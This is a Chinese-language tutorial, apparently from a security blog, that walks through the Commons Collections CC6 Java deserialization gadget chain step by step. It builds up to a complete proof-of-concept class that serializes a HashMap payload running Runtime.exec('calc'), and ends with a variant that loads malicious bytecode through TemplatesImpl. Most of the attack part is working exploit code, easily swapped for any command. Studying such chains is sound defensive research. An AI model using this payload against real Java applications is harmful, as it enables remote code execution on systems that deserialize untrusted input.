0x01环境配置
0x02 触发链过程 1 2 3 4 5 6 7 8 9 10 HashMap.readObject () HashMap.hash () TiedMapEntry.hashCode () TiedMapEntry.getValue () LazyMap.get () ChainedTransformer.transform () InvokerTransformer.transform () Method.invoke () Runtime.exec ()
0X03 过程分析 CC6链我们主要分析从readObject到LazyMap的get函数,这之后触发的链子可变化的样式较多。
1 2 3 public static Map decorate (Map map, Factory factory) { return new LazyMap (map, factory); }
在LazyMap类中的get()方法调用了transform
并且可以通过decorate方法给factory赋值
第二步:TiedMapEntry->get() 1 2 3 4 5 6 7 8 public Object getValue () { return map.get(key); }public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
在TiedMapEntry中的getValue方法调用了get并且hashCode方法又调用了getValue,所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) throws Exception{ Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer ct = new ChainedTransformer (transformers); Map lazymap = LazyMap.decorate(new HashMap (), ct); TiedMapEntry entry = new TiedMapEntry (lazymap, "1" ); entry.hashCode(); }
第三步:hashMap 之前在URLDNS反序列化链当中提到了hashMap的readObject可以会触发hashCode方法,
1 putVal(hash(key), key, value, false , false );
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
我们只需要给hashMap传入TiedMapEntry这个key就能让他触发链子
1 2 3 4 5 6 7 8 9 10 11 12 13 public static void main (String[] args) throws Exception{ Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer ct = new ChainedTransformer (transformers); Map lazymap = LazyMap.decorate(new HashMap (), ct); TiedMapEntry entry = new TiedMapEntry (lazymap, "1" ); HashMap hashmap = new HashMap (); hashmap.put(entry, "1" ); }
这里触发链子是因为put函数
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
他会执行hash方法然后hashcode所以这一步是需要调整的,不然在序列化之前他就已经执行了链子
第三步:调整利用链 由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。
这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static void main (String[] args) throws Exception{ Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer ct = new ChainedTransformer (transformers); Map lazymap = LazyMap.decorate(new HashMap (), new ConstantTransformer ("1" )); TiedMapEntry entry = new TiedMapEntry (lazymap, "1" ); HashMap hashmap = new HashMap (); hashmap.put(entry, "1" ); Class<LazyMap> clazz = LazyMap.class; Field field = clazz.getDeclaredField("factory" ); field.setAccessible(true ); field.set(lazymap, ct); serialize(hashmap); unserialize("ser.bin" ); }
但是运行发现这样无法弹出计算器,原因出在LazyMap的get方法处,由于put函数会先触发一次hashCode到get
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
这导致此时map.containKey(key)不为空,所以不会执行transform
因此我们要在给hashMap赋值后手动删除LazyMap的这个Key
此时在运行就能触发整条链子弹出内容
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class CC6 { public static void main (String[] args) throws Exception{ Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer ct = new ChainedTransformer (transformers); Map lazymap = LazyMap.decorate(new HashMap (), new ConstantTransformer ("1" )); TiedMapEntry entry = new TiedMapEntry (lazymap, "1" ); HashMap hashmap = new HashMap (); hashmap.put(entry, "1" ); lazymap.remove("1" ); Class<LazyMap> clazz = LazyMap.class; Field field = clazz.getDeclaredField("factory" ); field.setAccessible(true ); field.set(lazymap, ct); serialize(hashmap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./ser.bin" )); objectOutputStream.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
额外内容 上一次提到TemplateImpl链子需要触发newTransformer方法,正好InvokerTransformer能够触发任意方法
我们可以将Transform列表中的内容修改为之前提到的TemplatesImpl链子从而让他加载字节码触发恶意类
1 2 3 4 5 6 Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers);